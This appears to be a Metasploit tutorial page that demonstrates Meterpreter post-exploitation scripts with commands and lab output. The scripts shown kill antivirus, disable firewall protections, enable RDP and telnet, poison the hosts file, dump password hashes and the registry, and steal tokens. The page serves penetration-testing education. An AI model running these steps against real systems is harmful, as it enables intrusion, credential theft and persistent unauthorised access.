Existing Scripts a11y.text Existing Scripts Metasploit Scripts a11y.text Metasploit Scripts Metasploit comes with a ton of useful scripts that can aid you in the Metasploit Framework. These scripts are typically made by third parties and eventually adopted into the subversion repository. Weâ€™ll run through some of them and walk you through how you can use them in your own penetration test. The scripts mentioned below are intended to be used with a Meterpreter shell after the successful compromise of a target. Once you have gained a session with the target you can use these scripts to best suit your needs. checkvm a11y.text checkvm The checkvm script, as its name suggests, checks to see if you exploited a virtual machine. This information can be very useful. meterpreter > run checkvm

[*] Checking if SSHACKTHISBOX-0 is a Virtual Machine .....

[*] This is a VMware Workstation/Fusion Virtual Machine getcountermeasure a11y.text getcountermeasure The getcountermeasure script checks the security configuration on the victims system and can disable other security measures such as A/V, Firewall, and much more. meterpreter > run getcountermeasure

[*] Running Getcountermeasure on the target...

[*] Checking for contermeasures...

[*] Getting Windows Built in Firewall configuration...

[*]

[*] Domain profile configuration:

[*] ---

[*] Operational mode = Disable

[*] Exception mode = Enable

[*]

[*] Standard profile configuration:

[*] ----------

[*] Operational mode = Disable

[*] Exception mode = Enable

[*]

[*] Local Area Connection 6 firewall configuration:

[*] ----------

[*] Operational mode = Disable

[*]

[*] Checking DEP Support Policy... getgui a11y.text getgui The getgui script is used to enable RDP on a target system if it is disabled. meterpreter > run getgui

[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.

[!] Example: run post/windows/manage/enable_rdp OPTION=value [...]

Windows Remote Desktop Enabler Meterpreter Script

Usage: getgui -u -p

Or: getgui -e

OPTIONS:

-e Enable RDP only.

-f Forward RDP Connection.

-h Help menu.

-p The Password of the user to add.

-u The Username of the user to add.

meterpreter > run getgui -e

[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator

[*] Carlos Perez carlos_perez@darkoperator.com

[*] Enabling Remote Desktop

[*] RDP is already enabled

[*] Setting Terminal Services service startup mode

[*] Terminal Services service is already set to auto

[*] Opening port in local firewall if necessary get_local_subnets a11y.text get_local_subnets The get_local_subnets script is used to get the local subnet mask of a victim. This can be very useful information to have for pivoting. meterpreter > run get_local_subnets

Local subnet: 10.211.55.0/255.255.255.0 gettelnet a11y.text gettelnet The gettelnet script is used to enable telnet on the victim if it is disabled. meterpreter > run gettelnet

Windows Telnet Server Enabler Meterpreter Script

Usage: gettelnet -u -p

OPTIONS:

-e Enable Telnet Server only.

-f Forward Telnet Connection.

-h Help menu.

-p The Password of the user to add.

-u The Username of the user to add.

meterpreter > run gettelnet -e

[*] Windows Telnet Server Enabler Meterpreter Script

[*] Setting Telnet Server Services service startup mode

[*] The Telnet Server Services service is not set to auto, changing it to auto ...

[*] Opening port in local firewall if necessary hostsedit a11y.text hostsedit The hostsedit Meterpreter script is for adding entries to the Windows hosts file. Since Windows will check the hosts file first instead of the configured DNS server, it will assist in diverting traffic to a fake entry or entries. Either a single entry can be provided or a series of entries can be provided with a file containing one entry per line. meterpreter > run hostsedit

[!] Meterpreter scripts are deprecated. Try post/windows/manage/inject_host.

[!] Example: run post/windows/manage/inject_host OPTION=value [...]

This Meterpreter script is for adding entries in to the Windows Hosts file.

Since Windows will check first the Hosts file instead of the configured DNS Server

it will assist in diverting traffic to the fake entry or entries. Either a single

entry can be provided or a series of entries provided a file with one per line.

OPTIONS:

-e Host entry in the format of IP,Hostname.

-h Help Options.

-l Text file with list of entries in the format of IP,Hostname. One per line.

Example:

run hostsedit -e 127.0.0.1,google.com

run hostsedit -l /tmp/fakednsentries.txt

meterpreter > run hostsedit -e 10.211.55.162,www.microsoft.com

[*] Making Backup of the hosts file.

[*] Backup loacated in C:\WINDOWS\System32\drivers\etc\hosts62497.back

[*] Adding Record for Host www.microsoft.com with IP 10.211.55.162

[*] Clearing the DNS Cache killav a11y.text killav The killav script can be used to disable most antivirus programs running as a service on a target. meterpreter > run killav

[*] Killing Antivirus services on the target...

[*] Killing off cmd.exe... remotewinenum a11y.text remotewinenum The remotewinenum script will enumerate system information through wmic on victim. Make note of where the logs are stored. meterpreter > run remotewinenum

[!] Meterpreter scripts are deprecated. Try post/windows/gather/wmic_command.

[!] Example: run post/windows/gather/wmic_command OPTION=value [...]

Remote Windows Enumeration Meterpreter Script

This script will enumerate windows hosts in the target enviroment

given a username and password or using the credential under witch

Meterpeter is running using WMI wmic windows native tool.

Usage:

OPTIONS:

-h Help menu.

-p Password of user on target system

-t The target address

-u User on the target system (If not provided it will use credential of process)

meterpreter > run remotewinenum -u administrator -p ihazpassword -t 10.211.55.128

[*] Saving report to /root/.msf4/logs/remotewinenum/10.211.55.128_20090711.0142

[*] Running WMIC Commands ....

[*] running command wimic environment list

[*] running command wimic share list

[*] running command wimic nicconfig list

[*] running command wimic computersystem list

[*] running command wimic useraccount list

[*] running command wimic group list

[*] running command wimic sysaccount list

[*] running command wimic volume list brief

[*] running command wimic logicaldisk get description,filesystem,name,size

[*] running command wimic netlogin get name,lastlogon,badpasswordcount

[*] running command wimic netclient list brief

[*] running command wimic netuse get name,username,connectiontype,localname

[*] running command wimic share get name,path

[*] running command wimic nteventlog get path,filename,writeable

[*] running command wimic service list brief

[*] running command wimic process list brief

[*] running command wimic startup list full

[*] running command wimic rdtoggle list

[*] running command wimic product get name,version

[*] running command wimic qfe list scraper a11y.text scraper The scraper script can grab even more system information, including the entire registry. meterpreter > run scraper

[*] New session on 10.211.55.128:4444...

[*] Gathering basic system information...

[*] Dumping password hashes...

[*] Obtaining the entire registry...

[*] Exporting HKCU

[*] Downloading HKCU (C:\WINDOWS\TEMP\LQTEhIqo.reg)

[*] Cleaning HKCU

[*] Exporting HKLM

[*] Downloading HKLM (C:\WINDOWS\TEMP\GHMUdVWt.reg) From our examples above we can see that there are plenty of Meterpreter scripts for us to enumerate a ton of information, disable anti-virus for us, enable RDP, and much much more. winenum a11y.text winenum The winenum script makes for a very detailed windows enumeration tool. It dumps tokens, hashes and much more. meterpreter > run winenum

[*] Running Windows Local Enumerion Meterpreter Script

[*] New session on 10.211.55.128:4444...

[*] Saving report to /root/.msf4/logs/winenum/10.211.55.128_20090711.0514-99271/10.211.55.128_20090711.0514-99271.txt

[*] Checking if SSHACKTHISBOX-0 is a Virtual Machine .....

[*] This is a VMware Workstation/Fusion Virtual Machine

[*] Running Command List ...

[*] running command cmd.exe /c set

[*] running command arp -a

[*] running command ipconfig /all

[*] running command ipconfig /displaydns

[*] running command route print

[*] running command net view

[*] running command netstat -nao

[*] running command netstat -vb

[*] running command netstat -ns

[*] running command net accounts

[*] running command net accounts /domain

[*] running command net session

[*] running command net share

[*] running command net group

[*] running command net user

[*] running command net localgroup

[*] running command net localgroup administrators

[*] running command net group administrators

[*] running command net view /domain

[*] running command netsh firewall show config

[*] running command tasklist /svc

[*] running command tasklist /m

[*] running command gpresult /SCOPE COMPUTER /Z

[*] running command gpresult /SCOPE USER /Z

[*] Running WMIC Commands ....

[*] running command wmic computersystem list brief

[*] running command wmic useraccount list

[*] running command wmic group list

[*] running command wmic service list brief

[*] running command wmic volume list brief

[*] running command wmic logicaldisk get description,filesystem,name,size

[*] running command wmic netlogin get name,lastlogon,badpasswordcount

[*] running command wmic netclient list brief

[*] running command wmic netuse get name,username,connectiontype,localname

[*] running command wmic share get name,path

[*] running command wmic nteventlog get path,filename,writeable

[*] running command wmic process list brief

[*] running command wmic startup list full

[*] running command wmic rdtoggle list

[*] running command wmic product get name,version

[*] running command wmic qfe

[*] Extracting software list from registry

[*] Finished Extraction of software list from registry

[*] Dumping password hashes...

[*] Hashes Dumped

[*] Getting Tokens...

[*] All tokens have been processed

[*] Done! Next Writing Meterpreter Scripts Prev Meterpreter Scripting